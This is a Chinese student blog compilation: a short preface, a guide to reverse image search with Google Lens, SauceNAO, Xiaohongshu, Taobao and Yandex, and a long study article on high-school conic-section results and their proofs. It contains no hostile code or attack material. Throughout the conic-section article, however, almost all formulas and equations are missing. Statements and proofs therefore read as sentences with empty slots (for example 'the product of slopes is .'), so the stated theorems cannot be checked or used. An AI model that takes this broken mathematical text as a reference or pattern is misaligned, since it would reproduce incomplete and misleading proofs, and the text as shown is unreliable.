本文于 2 月 13 日开始写作，写至 3 月 1 日终稿，前后经历半个月。写作如此缓慢的原因主要还是学业缠身，我所在寄宿制学校的一大特点是——只要周日上午进了学校，你就只能一直学习到周六上午，周六下午在校的三个小时才是属于自己的时间。这三个小时里，大部分学生会选择在教室里写作业，我则是腆着个脸上楼在曾经呆过的竞赛机房里写作。如此如此这般这般多多少少练就了神速打字和作图的技能。

如果有机会，我可能会在文末或是开头附上一张在教室里用电子屏多用电表测全身电阻和电压的图片

另：祝 GGapa 省选顺利，我们会在后面给你撑着文化课！

网图溯源导论

Mon, 27 Jan 2025 05:09:59 GMT

前言#

“主播主播，抖音上下载的美图确实很多，但就是太吃清晰度了。有没有更加高效精准的原图搜索方法？”

“有的兄弟，有的！这么强的搜索方法当然不止一个，一共有九个，全都是当前世纪 T0.5 的强势搜索方法……掌握一到两个搜索方法，全网的美图都能给你找到源头……”

Google Lens/谷歌智能镜头#

基本使用#

Warning

需要科学上网工具

地址：Google

直接根据提示上传本地图片或者是在输入框输入图片的链接后点击搜索即可。之后你会看到类似于下图的界面：

可以使用上面的四角来框选识别区域；同时也可以在上端输入框里面输入图片描述来更加精确地定位原图。请注意搜索结果可能会受所在区域的影响，即梯子的代理服务器所在地区可能影响搜索结果。

请注意，如果你使用的是社交媒体的截图，请将图片两端的点赞评论以及顶端无关内容删去后再上传以获得更佳效果（节省梯子流量）。

可以点击框选区域下端的“完全匹配的结果”来缩小范围。

得到的结果是这个形式的，我们可以看到源站、发布的时间、分辨率以及一个小预览图。可以发现此处的图片来源是推特（X）。如果是搜索动漫图片，建议只看以下几个站点的结果以节省工作量：

Pixiv/PixivBox/BoBoPic/Danbooru/Gelbooru/Yande/Konachan。这些都会提供高清原图（除非仍然是二次转载），或者是原图的相关信息（链接、画师、PID 等）。
X。尤指搜索结果标题里带有“on X: ”字样的结果（例如上图），它会指向带有这个图片的帖子本身；如果不含上述字样，那么这张图片有可能是用户的头像等不太清晰的图片，可以考虑用它做二次搜索。

接下来一般就可以定位到原图了。

优劣总结#

本方法的优点在于：谷歌的强大图像识别能力以及它存储的海量的搜索结果使得它在大部分情况下能够给出精准且丰富的搜索结果，在国外社交媒体和交流网站（上述的几个站点）上被多次转载过的图片效果最佳。

但是它仍然有缺陷：小众的图片、某用户生成的 AI 图片（基本上只在小范围内传播）等很难在谷歌上找到来源。谷歌对国内网站结果的爬取较少，导致它在对仅大陆内传播的图像资源的搜索能力较差。如果谷歌未能返回你预期的结果，不妨试试以下介绍的其他方案。

课后练习#

定位以下图片（答案见全文末）：

SauceNAO+Pixiv.re#

基本使用#

Warning

SauceNAO 需要科学上网工具，Pixiv.re 不需要

地址：SauceNAO（官方）、SauceNAO（中国站，搜索时仍然会重定向到前者的地址）、Pixiv.re（P 站反代，需要在网址后输入 PID 访问，具体用法见下）

点击“Select Image”上传图片，或者是在输入框里输入图片 URL 来搜索。同样需要事先将图片无关内容清除掉，否则可能影响搜索结果。

一般来说这个网站会自动隐藏低相似度的结果，所以如果没有任何结果或者不是原图，那么就请放弃这个方法。在右侧可以看见图片的相关信息（PID、画师等），以及导向其他站点的链接（上图中就有 Danbooru 和 Gelbooru）。

拿到 PID 后，可以直接去 P 站下载，也可以去它的镜像站 Pixiv.re 下载。具体流程如下：

复制根目录地址 https://pixiv.re/
在最后一个斜杠后面拼接 PID 和文件后缀，本例中为 https://pixiv.re/116629910.jpg。如果这个 PID 下有多张图片，假设这是第五张，那么地址就是 https://pixiv.re/XXXXX-5.jpg。
图片加载完成后，长按/右键下载即可。

优劣总结#

优点：直接导向原图，操作简单。

缺点：很多新图搜不到，有些较老的图片也搜不到，搜索效果不稳定；对图片质量要求较高。

小红书#

跳脱思维框架的前奏……

基本使用#

进入，点击搜索框，点击相机图标上传待搜图片即可。

优劣总结#

优点：如果以上几种方法都没啥用，可以试试在小红书查。因为这些图片大概率只在大陆传播，且很多都是 AI 图。

缺点：仅局限在小红书已有帖子内。

课后练习#

定位以下图片（答案见文末）：

淘宝/京东/天猫#

他正在给我们提供搜图的新思路！

基本使用#

同小红书，点击相机图标上传图片，可以通过框选有效区域来识别。上述方法均失效时可以考虑这个方案。

优劣总结#

优点：对模糊/遮挡的图像识别较好，适合搭配上述其他方法进行二次搜索。

缺点：局限在对应 APP 的商品范围内，不能很好的综合线上的结果。

课后练习#

定位以下图片（答案见文末）：

请定位背景的紫毛

Yandex Images#

Note

需要科学上网工具

基本使用#

地址：Yandex Images

由于 Yandex 在大陆不提供以图搜图服务，因此需要连接代理后再试。

使用方法同 Google Lens。

优劣总结#

优点：上面都搜不到可以试试这个。

缺点：和百度、搜狗差不多，基本上搜不到结果。

课后练习答案#

Google Lens/谷歌智能镜头#

要点：善用框选工具，删去图片中无用的信息

第一个——日奈：PID 105466693；或 Danbooru（找到原图即可）

第二个——玛丽：PID 125897012（找到原图即可）

第三个：Danbooru（找到原图即可）

小红书#

第一个——梓：小红书原贴

淘宝/京东/天猫#

要点：框选有效区域；搭配谷歌等进行二次搜索。

第一个——优香：Yande；或者 Konachan（找到原图即可）

圆锥曲线解题指导及二级结论

Fri, 17 Jan 2025 13:26:06 GMT

Todo

鉴于本文存在个人打印需求，本文精简版本（不含前言部分）将择日以 PDF 格式附在文首和文末

最新更新：2026.3.29（“椭圆焦点三角形相关”小章节新增“内心”、“双曲线焦点三角形相关”小章节新增“焦切点”）

前言#

做这篇文章最初的缘由，似乎也早已忘却了，大抵是期中时拍拍脑子生出的主意，然终竟无法再考究了……然而既已入年，我想自己许是有些寂寞而无所事事了。恰逢 Lucas 君邀我做一篇圆锥曲线的文章，他仿佛有点谑我的意思，欲以此指代方才过去的令人悲哀的数学考题，我举起手机只是说：

“假如一道圆锥曲线填空压轴，它是没有常数且万难算出的，考场上有许多没背二级结论的高中生，见到就跳过了，然而是舍小保大，并不感到挂科的悲哀。现在你教他们背二级结论，说动了想冲高分的几人，使这不幸的少数者来受知晓结论而仍解不出的可能挂科的苦楚，你倒以为对得起他们么？”

“然而几个人既然背了，你不能说决没有解出这个题的希望。”

是的，我虽然自有我的确信，然而说到希望，却是不能抹杀的。因为希望是在于将来，决不能以我之必无的证明，来折服了他之所谓可有，于是我终于答应他也做圆锥曲线的文章了。

二零二五年一月十七日，记于成都

初版完稿之后，我托 T 先生将网页影印出来。于是每逢覆习圆锥曲线的章节，我便很受益于这装订整齐的纸版网页——大多是当作解题的参考、或是在邻桌面前炫耀一番，于是兴味既已起来，以至于下来的讲评一概是专注的。某日，T 先生又复习到这章，照例布置几道习题，我便反射似的去检我的资料。然而翻来覆去几道，也终于未见任何形似“蒙日圆相关三角形面积最值”的条目了。恰逢邻桌探头，豫备找我要资料钞了：

“你的资料，可是写了这些？”

“没有……后面将要讲的‘坎迪定理’也是没有的……”

“那你这些还有啥用？”

信然，情况乃不同于先前，而且推我到达颇为尴尬的境地。这“尴尬”倒并非全在于邻桌的“有啥用”之类的质问，结论搜罗不尽的怅惘，也是有的。这又使我忆起启蒙时所听闻的“纪昌学射”的故事来——能遇见资料之所未有的结论，大抵是我自己在精进罢！于是便于邻桌商讨豫备补录的结论，而且誓言邻桌终于将要补这圆锥曲线的文章了。

二零二五年十一月二日，于成都寓所补录文章时记

切线方程 & 切点弦方程#

Warning

该内容为后文部分二级结论证明过程中直接运用的前置结论，恳请读者首先阅读此章，了解切线方程和切点弦方程的求法和相关证明

切线方程是圆锥曲线中十分常用的附属结论，尽管它与圆锥曲线没有直接关系，但是它在设直线，尤其是证明蒙日圆、阿基米德三角形的相关结论时候有大用。可惜的是，该结论并不属于数学教材中推导并证明的定理，因此原则上不能在考场上不加证明地使用。本章将对这两类方程的求法进行简要介绍和推导。

切线/切点弦方程的求法几乎相同，可以用“均分次数，均分系数”八个字概括。例如，我们要求椭圆/双曲线在的切线方程，只需遵循如下步骤：

均分次数：将项平分为两个一次项，其中一个一次项替换为横坐标，项同理。其他不变。

做完后可以得到切线方程。

如果是抛物线呢？此时就需要齐上阵了，步骤如下：

均分次数：同上，将替换成。保持一次项和常数项（若有）不变。
均分系数：将一次项的系数平分，得到，其中一个替换为横坐标。

做完后可得切线方程。切点弦方程也是如此求法，一模一样。

切线方程#

为什么上面讲到的八字真言会有效呢？接下来我们来证明切线方程。

评析：可以有多种方法，其中一种是对圆锥曲线（隐函数）求导并代入得到切线方程；另外一种就是相当普通的解析几何方法。我们着重介绍后者，因为你可以毫无顾忌地把它呈现在你的解题过程中。

证明：

设切点。

现证椭圆的情况，双曲线同理（为节省篇幅不给出证明），设椭圆方程，那么有。

设切线，化简得，与椭圆方程联立：

得：

代入点反解得切线方程，整理得。

接下来证明抛物线的情况，设抛物线方程，代入切点有。

仍然设切线，化简得，与抛物线方程联立：

得：

代入点，反解得切线方程，整理得。

证毕。

拓展变形：

在本节证明中，我们反复运用圆锥曲线方程找到与、与的等量关系，并且多次代换消去变量或得到易于化简的形式。该思想在圆锥曲线的诸多计算中均有体现。

微拓展——隐函数求导法求解切线方程

高中所学的求导方法均是对形如的函数求导，但是对于圆锥曲线，情况就不一样了。圆锥曲线方程中出现了项（根据函数定义，它甚至不能被称作函数，只能称作方程），初等的求导方法没有涉及。此时就需要利用隐函数相关知识，对圆锥曲线方程进行求导操作。

例如有椭圆方程，我们想求出方程的极大值（即上/下顶点），该怎么办呢？

椭圆方程是一个隐函数，对其求导。简单来讲分如下几步：

按照标准求导法则，对每一项按照高中所学的求导法则计算。此时。
（这是隐函数求导的关键一步）在所有项后再乘上，即为方程的导数。此时。
移项解出。此时。

得到了导数，令，解得，再代入椭圆方程解得，取舍可得极（最）大值为。

再如给定的抛物线方程，要求它在点的切线方程。隐函数求导得，解得，可得切线斜率，切线方程为。代入本节所讲的切线方程验证，答案同样是直线。

如果并非标准（中心不一定在原点、不一定关于坐标轴对称）的椭圆方程怎么办？假设非标准的方程是（经过一定旋转的双曲线）。我要求过该方程上一点的切线方程，那么隐函数求导：

代入点，可得，切线方程。本推导中我们需要掌握项的求导方法，利用导数乘法法则（前导后不导，后导前不导），得到。我们又可以总结得到：对求导变常数，对求导变。

隐函数相关知识在后面的新定义曲线的极值计算有大用。

切点弦方程#

切点弦方程的计算方法与切线方程的计算方法一模一样，它们之间有什么奇妙的联系？

评析：证明需要利用同构方程的思想。对初识者来讲可能稍难理解。

证明：

设曲线外一点，引圆锥曲线的两条切线，切点为。

以椭圆为例，可得。它们的交点为，代入也成立，二直线方程变形为：

将看做常量，它们都满足同一个方程。所以，而为直线方程，又是切点弦，于是切点弦方程就是。

证毕。

椭圆基础二级结论#

椭圆定义（第一定义）：平面内一动点到两定点的距离之和为定值，该动点轨迹是以该定点为焦点的椭圆。
第二定义：平面内一动点到一个定点（焦点）与到一条定直线（准线）之比为一个常数（离心率）时，该动点轨迹为椭圆。
第三定义：平面内一动点到两定点的直线斜率之积为常数，该动点的轨迹是以该定点为长轴两端点（不含）的椭圆。
基本特征量（本章证明过程中如非特殊说明，所出现的字母量意义均与以下列表相同）：

长半轴：，短半轴：，半焦距：，离心率：

准线横/纵坐标绝对值：

焦准距（焦点到准线距离）：

若无特殊说明，椭圆标准方程均满足，焦点在轴上。且若无特殊指明，“椭圆 ”均指上述的椭圆。

通径#

在椭圆中，与焦点所在轴垂直的焦点弦被椭圆截得线段的长称作其通径。椭圆的通径长。

评析：直接将横坐标代入即可解得纵坐标，通径长为纵坐标绝对值的二倍。

证明：

横坐标代入椭圆解析式：

得到。

因为在椭圆中有，因此，椭圆离心率还可以表示成。代入得：

此时。

证毕。

圆周定理#

在椭圆中，是椭圆上关于原点对称的两点，是椭圆上异于的一点。那么直线的斜率之积为。

评析：也不需要什么特殊的技巧，就是设点硬算。这个结论是必背的经典二级结论之一。

证明：

设。那么两直线斜率之积可以表示为，即：

三点都在椭圆上，代入椭圆解析式得关系式：

将和用表示出来：

证毕。

拓展变形：

我们默认椭圆的焦点位于轴，那万一焦点在轴上呢？首先我们需要保证较大的分母为，较小的为，例如，此时，现在的两直线斜率之积为，即，分子分母调换了！做题时一定要注意，证明方法同上。

当其中一个定点恰好位于长轴端点时，得到椭圆第三定义。

广义垂径定理/中点弦公式（解析法）#

在椭圆中，为椭圆上两点，为弦的中点，那么直线与直线的斜率之积为。

评析：处理中点的方法一共有两个——常规联立法和点差法。此处我们使用第一种（点差法稍后介绍），用韦达定理可以很轻松的表示出中点的坐标；同时设出直线代表我们可以只用一个表示其斜率，由于过原点，表示它的斜率也是容易的。那我们就开始吧。

证明：

设直线。斜率不存在时无意义，故斜率一定存在。联立方程：

得：

根据韦达定理得：

因此。得到斜率乘积为。

证毕。

拓展变形：易错点与上一个结论相同，焦点所在坐标轴改变后，乘积会从原先的变成。

广义垂径定理/中点弦公式（点差法）#

结论同上。

评析：注意到圆锥曲线的解析式中存在平方项，代入两点坐标后联立，作差，利用平方差公式并代换中点坐标也是一个十分方便的方法。

证明：

设中点弦两端点及其中点。根据中点定义有，联立两端点：

两式相减得：

可得：

得证。

拓展变形：

事实上，点差法可被广泛运用于大部分中点问题。通过平方差公式的处理，原式可化为有关中点坐标、弦斜率和圆锥曲线固有参数的式子，从而发现三者的联系。

如果是竖椭圆，那么乘积变为。可总结得到乘积无论如何都小于。

焦半径公式（点坐标版）#

令为椭圆的左右焦点，为椭圆上一点，那么。其中，即椭圆的离心率。

评析：这个结论其实就是椭圆第二定义的变形式，不信你看。

证明：

先证。对于来说，对应的准线为直线。根据椭圆第二定义有：

再证。其实根据椭圆第一定义即可推出它，但是我们继续用第二定义推导。此时对应的准线是直线：

证毕。

拓展变形：

焦点在轴上时，结论变为。

该结论适用性较差，建议背诵并掌握焦半径公式（斜率版）。

焦半径公式（斜率版）#

设焦点弦与椭圆交于两点，焦点弦倾斜角为，有焦半径公式，焦点弦长。

评析：可以从点坐标法的结论出发，用斜率、焦准距相关量表示出公式中，化简即可得到结果。

证明：

为稍微节省篇幅，只证其中一边。

由上证明可得，现代换。过作轴垂线，垂足为，如下图：

可知，现有，进行化简：

另一端同理，二者相加得到焦点弦长公式。

证毕。

拓展变形：

如何记忆分母是还是呢？画出草图，看看焦半径孰长孰短，再选用相应的公式，是一种比较简便的方法。

如果是竖椭圆，那么将公式中变为。类比观察可以发现该公式中的实则为焦点弦与交点所在直线的锐夹角大小。

如果将焦半径公式做倒数并相加，可以得到另外一个重要结论：。

焦点三角形相关#

椭圆的左右焦点与椭圆上一点组成的三角形称作这个椭圆的焦点三角形。

本节中出现的角若无特殊说明均指代。

取值范围#

焦点三角形中，。

评析：前两个非常好证，他们理论上在与左右端点重合时取到最值，但是此时三点共线，因此不是三角形，所以是开区间。对于第三个，乘积的取值范围，则需要基本不等式。

证明：

根据基本不等式有：

证毕。

周长#

焦点三角形的周长。

评析：根据椭圆的第一定义来的，。

面积#

焦点三角形的面积。

评析：出现角度和面积，我们需要想到正/余弦定理。根据正弦定理的三角形面积公式以及余弦定理的，我们可以解决大部分与边长和角度有关的圆锥曲线证明/求值问题。

证明：

由正弦定理得，。

在中运用余弦定理：，得到。

同时根据完全平方公式，，代入上式移项解得，根据面积公式可得。

证毕。

拓展变形：三角函数的半角公式（附证明）。

——正/余弦半角公式

根据余弦倍角公式的变形式，将换成，换成即得，。

同理，对于正弦函数，有。

——正切半角公式

由正切函数定义可得，利用三角函数的升幂，也就是上面导出正余弦半角公式时使用的余弦倍角公式，分子分母同乘可得：。

因此证明面积公式时出现的可以换成。三个公式汇总起来就是：

内心#

令焦点三角形的内切圆为，直线交轴于点。若，则有。

评析：内心是三角形三个内角角平分线的交点，角平分线上任意一点到角两边距离相等，因而常用等面积法来求解内心相关量。角平分线定理在求解边长的相关量时也发挥着巨大作用，其基础也是等面积法。

证明：

如图：

由角平分线性质可知：，由等面积法可得。

可得，因为，所以。

内切圆又有切线长定理：，依据焦半径公式有。

而，那么。得到。

在中应用角平分线定理有；在中为。

因此，解得，那么。回代横坐标可解得。

证毕。

离心率公式#

令焦点三角形的底角，那么椭圆的离心率。

评析：有角有边，当然考虑正余弦定理。

证明：

易知此时。根据正弦定理有。在椭圆中又有，那么。

代入连等式中，得到，根据后两项可以解出，此时代入第二项得到。

此时。

证毕。

等角定理#

椭圆的一条焦点弦交曲线于两点，设为椭圆的一条准线与焦点所在坐标轴的交点，那么有斜率。

证明：

不妨设，焦点弦。联立方程：

韦达定理得：。

表示斜率：

即证：

证毕。

光学性质#

在椭圆章节的最后，我们将用一个物理式的问题来为它作结。事实上，这个结论将在稍后的“蒙日圆”章节中作为几何法证明的前置结论出现。这个性质在生活当中也有广泛的应用，符合高考命题“情景载体串联”的原则。

椭圆内部经过椭圆其中一个焦点的光束，在椭圆内表面上的反射光线将经过它的另一个焦点。

评析：反射的基本要求是反射角等于入射角，这指示我们作出椭圆上反射点的法线，这又要求我们作出椭圆在反射点的切线（切线方程），并证明法线是“入射光线”和“反射光线”的角平分线。

证明：

设椭圆上的反射点，那么过的切线方程，整理得。

可得法线斜率。继续算出入射和反射光线斜率为和。欲验证法线为角平分线，即证。

因为点在椭圆上，有，可得。

利用正切的和角公式：

同时计算：

证毕。

拓展变形：

该结论（包括双曲线光学性质）的推导过程提示我们，当式子中出现双变量，而且这两个变量与圆锥曲线有密切联系（本例中为点横纵坐标满足解析式）时，可以通过圆锥曲线的方程消去其一，从而达到化简的目的。

双曲线基础二级结论#

双曲线定义（第一定义）：平面内一动点到两定点的距离之差的绝对值为定值，该动点轨迹是以该定点为焦点的双曲线。
第二定义：平面内一动点到一个定点（焦点）与到一条定直线（准线）之比为一个常数（离心率）时，该动点轨迹为双曲线。
第三定义：平面内一动点到两定点的直线斜率之积为常数，该动点的轨迹是以该定点为实轴两端点（不含）的双曲线。
基本特征量（本章证明过程中如非特殊说明，所出现的字母量意义均与以下列表相同）：

实半轴：，虚半轴：，半焦距：，离心率：

准线横/纵坐标绝对值：

焦准距（焦点到准线距离）：

渐近线方程：（分别为双曲线标准方程项的分母的算术平方根）

若无特殊说明，双曲线标准方程，满足，焦点在轴上。且若无特殊说明，“双曲线 ”均指上述的标准双曲线。

通径#

在双曲线中，与焦点所在轴垂直的焦点弦被双曲线截得线段的长称作其通径。双曲线的通径长。

评析：与椭圆证法相同。

证明：

将横坐标代入得。因为双曲线满足，可以推导出。那么，得到。此时通径长为。

证毕。

圆周定理#

在双曲线中，是双曲线上关于原点对称的两点，是双曲线上异于的一点。那么直线的斜率之积为。

评析：双曲线有关二级结论的证明思路和椭圆基本相同，这里我们沿用椭圆的证明方法继续硬算。

证明：

设，那么：

三点都在双曲线上，得到：

代入得：

证毕。

拓展变形：焦点所在坐标轴改变时同样要变成。

广义垂径定理/中点弦公式（解析法）#

在双曲线中，为双曲线上两点，为弦的中点，那么直线与直线的斜率之积为。

评析：同样使用椭圆的证明方法。

证明：

令直线，斜率不存在时无意义，故斜率存在。联立直线和双曲线方程：

得到：。韦达定理得。

得到中点坐标，此时斜率之积表示为：

证毕。

拓展变形：焦点在轴上时对应的乘积是。

广义垂径定理/中点弦公式（点差法）#

结论同上。

评析：同样使用椭圆的证明方法。

证明：

设中点弦两端点，中点。有，联立两端点：

两式相减得：

得证。

拓展变形：

竖双曲线中结论变为。

焦半径公式（横坐标版）#

令为双曲线的左右焦点，为双曲线上一点，在右支上时有；在左支上时有。

评析：双曲线第二定义的变形

证明：

当在右支时，根据第二定义，有，得到，然后根据双曲线中可得。

同理可以证得左支公式。

证毕。

拓展变形：

焦点在轴上时要把换成。

如何记忆这些公式呢？首先可以先只记住一边，然后利用第一定义，通过焦点弦长差等于可得到另一边；其次，符号可以通过代特殊点（实轴端点最佳）来快速检验。

焦半径公式（斜率版）#

设焦点弦，有焦半径公式，焦点弦长

评析：与证明椭圆焦半径公式相同的办法，从简便的结论入手，将其中的用角度相关量表示出来。

证明：

为稍微节省篇幅，只证两点均在右支的情况的其中一边。

由已知结论，。过作轴垂线，垂足为。如下图：

可得。那么有：

另一边同理可证，二者相加得到焦点弦长公式。

证毕。

拓展变形：

如果是竖双曲线，那么将公式中变为。类比观察可以发现该公式中的实则为焦点弦与交点所在直线的锐夹角大小。

与椭圆类似，将焦半径公式取倒数，并相减可得：。

渐近线相关#

过原点且在无穷远处与双曲线的距离无限趋近于的两条直线叫做这个双曲线的渐近线。焦点在轴上时渐近线的解析式为；若在轴上则为，即。

在高中阶段，双曲线的渐近线方程的证明方式几乎就是取极限值（）求得，这种方法并不严谨，但是在高中课标下，这是学生可能想到的唯一方法。但无需担心，因为考试大概率不考，因此记住结论即可，实在不行就如前文代入极限值检验。

焦点-渐近线距离#

双曲线的焦点与任意一条渐近线的距离均为。

评析：使用点到直线的距离公式证明。

证明：

左焦点，到渐近线的距离为：

证毕。

焦点三角形相关#

双曲线的左右焦点与双曲线上一点组成的三角形称作这个双曲线的焦点三角形。

本节中出现的角若无特殊说明均指代。

周长#

焦点三角形的周长为。

评析：根据前面所证明的焦半径公式可得这个结论。

面积#

焦点三角形的面积为。

证明：

正弦定理得：。余弦定理得：，得到。根据完全平方公式，有，联立可得，解得。代入面积公式得。

证毕。

拓展变形：余切的半角公式证明。

离心率公式#

令焦点三角形的底角，那么双曲线的离心率为。

证明：

由正弦定理，，不妨假设当前在右支上，那么，即。解得。此时有。得到。

证毕。

内切圆#

焦点三角形的内切圆圆心的运动轨迹与双曲线相切于实轴端点，其半径满足。

图片引自 Brilliant11001《从零开始掌握圆锥曲线大法——上》

评析：利用切线长定理和双曲线的定义巧妙解决；对于半径取值范围，可通过极限法或者解析法解决。

证明：

如图，设焦点三角形内切圆与分别切于点，圆心为，设圆心横坐标为。在双曲线上有，根据切线长定理有。因此，又因为，得到。

现证半径取值范围：易知当无限接近长轴端点时，半径趋近于零。

对于最大值，由上证明可得：圆心在直线上。则只需作出焦点三角形一个内角的角平分线，与直线的交点即为圆心。设的角平分线的斜率为，那么。

易知当点趋近于无穷远处，趋近于一个定值，此时趋近于渐近线。利用半角公式反解出。得。

极限情况如下图：

证毕。

焦点弦三角形相关#

过双曲线的任一焦点的焦点弦交该双曲线于两点，与另一焦点组成的三角形称作该双曲线的焦点弦三角形。

焦切点#

焦点弦三角形的内切圆与焦点弦切于该弦所过的焦点。

评析：此处采取一个比较巧妙的、无需解析式计算的方法，此法由我的同班同学提供。

证明：

如图：

假设内切圆不与相切于，那么设切点为，并假设它在下方。根据切线长定理有：，因此。

于是，由可解得，即与重合。在上方同理。

证毕。

渐近线相关#

渐进平行四边形#

过双曲线上一点作两条渐近线的平行线并分别与另一条渐近线交于点，设坐标原点为，那么平行四边形的面积为定值。
等价结论：的值为定值。

评析：可以先证明等价结论，因为根据三角形面积公式有，而两渐近线间夹角一定，即可导出渐进平行四边形的结论。

证明：

双曲线的渐近线为，分别设为。联立得交点。

可知。相乘：

。

在双曲线上，有，那么，用离心率代换。化简得：

计算渐近线夹角正弦值，它可通过二倍角公式得到，已知一条渐近线与坐标轴的夹角正切值为斜率，那么其正弦值为，余弦值为。可得夹角。

那么平行四边形面积。

得证。

共中点定理#

双曲线上任意两点组成的线段与两渐近线分别交于点，则，线段与线段共中点。

证明：

设，渐近线。先联立直线与双曲线方程，得到等式。

韦达定理表示。可得中点坐标。

继续联立直线与两渐近线，这时计算较为方便。得到横坐标。设中点为，则

显然与重合，与共中点，那么，可得，且。

得证。

等角定理#

双曲线的一条焦点弦交曲线于两点，设为双曲线的一条准线与焦点所在坐标轴的交点，那么有斜率。

证明：

不妨设，焦点弦。联立方程：

韦达定理得：。

表示斜率：

即证：

证毕。

光学性质#

双曲线内部经过一个焦点的光束，在双曲线内表面上反射，反射光线的反向延长线将经过双曲线的另一个交点。

评析：同样抓住光线反射的“反射角等于入射角”原则，设直线，表示斜率，证明角度关系（角平分线关系）即可。

证明：

设双曲线上的反射点，法线即双曲线在该点的切线，即，整理得。

可得法线斜率。同时可得入射光线和出射光线的斜率分别为：。即证，。

并且在双曲线上，所以有，可得。

利用正切的和角公式：

同时计算：

证毕。

抛物线基础二级结论#

若无特殊说明，抛物线标准方程均满足，焦点在轴正半轴。且若无特殊指明，“抛物线 ”均指上述的抛物线。

通径#

抛物线的通径长为。

评析：抛物线中只要涉及到焦半径相关的内容，都要第一时间想到焦半径长等于该点与准线的距离从而进行转化，这样可以简化计算。

证明：

横坐标代入，得到焦半径为，通径为二倍焦半径，即。

证毕。

焦点弦定理#

抛物线的一条焦点弦交抛物线于两点，那么直线与直线的乘积为定值。

评析：我们可以恰当选择直线的横截式和斜截式来方便计算。在本例中，由于抛物线方程的二次项在上，并且直线过轴上的定点，我们自然地选择横截式来进行计算。

证明：

令直线，联立抛物线方程得：

根据韦达定理，得：

斜率的乘积表示为：

证毕。

拓展变形：事实上，证明过程中由韦达定理导出的关系式和在实践中更为常用一些。

两点弦公式#

抛物线上两点和组成的弦的斜率为，两点弦公式为，或。

评析：适时避开繁琐的高次计算是非常有用的。

证明：

因为两点在抛物线上，因此坐标满足：

所以斜率可以表示为：。

进一步地联立得到整个两点弦公式为，或整理得。

证毕。

焦半径公式#

抛物线的焦点弦分别在第一象限和第四象限交抛物线于两点，直线与轴的夹角是，那么。

评析：直接看不太容易，来一张图辅助一下：

证明：

由抛物线定义知：，移项可得。同理可证得。

此时。

证毕。

拓展变形：

事实上，尽管平常我们很少提及抛物线的离心率，但不代表它不存在。抛物线的离心率。容易发现抛物线的焦半径公式正是的特殊情况。

光学性质#

抛物线内过焦点的光束，在抛物线内表面反射后，出射光线平行于抛物线焦点所在坐标轴。反之亦然。

评析：抛物线最大的好处就是少了一个平方项，因此相关计算会简便很多。此处仍然采取相同的证明角平分线的方法。

证明：

设反射点，法线方程为，整理得。

因此法线斜率，入射光线的斜率表示为。

计算二倍角：

同时在双曲线上，有，继续化简：

即，那么反射光线的斜率必为，也就是平行于抛物线焦点所在坐标轴。

证毕。

双球模型#

Quote

用一个不垂直于圆锥的轴的平面截圆锥，当圆锥的轴与截面所成的角不同时，可以得到不同的截口曲线，它们分别是椭圆、抛物线和双曲线，我们通常把椭圆、抛物线、双曲线统称为圆锥曲线（conic sections）

人教版 A 版高中数学《选择性必修第一册》第三章引言

很多同学十分了解圆锥曲线的求法、形状以及特征量关系，但是对它的起源却知之甚少。顾名思义，圆锥曲线必定和“圆锥”有关。事实上——正如引言所说，用一个不垂直圆锥的轴的平面去截圆锥，若得到一个平面，那么该截面的形状必定是椭圆、双曲线、抛物线其一，见下图：

从上至下分别是圆、椭圆、抛物线和双曲线图片来源于知乎

当然，也存在一些特殊情形。例如当截面过圆锥顶点时，可能截出一个点，此时我们称这个圆锥曲线是退化的。退化的圆锥曲线在高中阶段没有讨论的必要，因此后文所有的圆锥曲线如无特殊说明均指代非退化的圆锥曲线。

了解了圆锥曲线的来源，那么我们将以何种方式求解这个截面曲线（圆锥曲线）的解析式呢？如果表示出平面和圆锥，再硬算交集曲线，显然划不来。200 多年前，人们发现了双球模型。如图：

图源知乎

该模型的主要内容是（椭圆为例）：两个球体与圆锥内表面相切，同时与形成圆锥曲线（此处为椭圆）的截面相切，它们与截面的交点为这个圆锥曲线（此处为椭圆）的两个焦点，因此双球有时又叫做“焦球”。

截口曲线#

设双球与截口曲线的切点分别为，那么该截口曲线为以这两点为焦点的圆锥曲线（本例为椭圆）

评析：可以利用切线长定理的三维形式来解决。

证明：

本结论证明过程中的标记与下图相同：

图片截取自 Bilibili@寻秋灯下客

根据切线长定理的扩展，可得线段长满足，那么，线段长显然为定值。那么接口曲线为椭圆，线段长视作椭圆（第一）定义中的，同时可得为焦点。

证毕。

拓展变形：关于切线长定理及其三维扩展形式。

我们初中就知道，过圆外一点引圆的两条切线，那么该点与两个切点分别连成的线段长度相等。那么为什么这个结论放在球体中也成立呢？先来看看推论内容：

在三维空间中，过球体外一点引球体的若干切线，那么这些切线长均相等。

只引出两条切线时，过这两个切点可以截出一个圆形，此时与二维形式相同。如果切线多于两条，我们可以将球外的点与球心相连，然后连接球心与切点，它与切线必垂直，因此所有切线长度均为，其中为圆外点与圆心距离、为球半径。

焦点#

图源知乎

如图，双球与截面圆锥曲线的切点为该圆锥曲线的焦点。线段长满足。

评析：利用切线长定理可以证明该结论。

证明：

根据切线长定理，左侧母线有；右侧母线有：。因此有。

该模型的已知条件是：为截面圆锥曲线的长轴端点，因此；并且。图中，因而又有。

对等式两边同时减去公共线段长得：，因此，同理可得。用表示各边，即，所以。

证毕。

离心率#

如上图，截面截出的圆锥曲线离心率为，其中分别为。或者，其中分别为与圆锥高的夹角。

评析：在里用正弦定理证明。

证明：

在中，正弦定理有，与等价。

证毕。

椭圆-双曲线共焦点问题#

在本章中，我们默认存在一个椭圆与共焦点。若无特殊说明，为两圆锥曲线在第一象限内的交点，。如下图：

焦半径#

共焦点的椭圆和双曲线满足。

评析：注意利用好椭圆和双曲线的定义。

证明：

在椭圆中，有；在双曲线中，有，两式相加得，相减得。由此得到：

证毕。

离心率与角的关系#

共焦点的椭圆和双曲线满足

评析：同样是有角有边，考虑正/余弦定理。这个结论可以帮助你快速解决诸如等式子的最值问题。

证明：

借用上一节的焦半径结论，并综合余弦定理，可以得到：

证毕。

拓展变形：正余弦函数的升幂/降幂公式。

由余弦的二倍角公式，得到。即证得降幂公式。事实上，余弦的二倍角公式就是升幂公式。

仿射变换#

我们接下来要用一个颇具线性代数色彩（JustPureH₂O 色彩）的章节来为圆锥曲线的相关面积问题铺路，它就是“仿射变换”。通过对原图形进行适当拉伸变换，将复杂的圆锥曲线转换成特殊的、简单的几何图形（一般是圆）来简化计算。借用仿射变换的知识，我们可以证明椭圆的面积公式，并一定程度上解释椭圆不存在精确的周长公式的根本原因。在探讨这两个问题前，我们先引入仿射变换的相关内容：

仿射变换，又称仿射映射，是指在几何中，一个向量空间进行一次线性变换并接上一个平移，变换为另一个向量空间的过程。

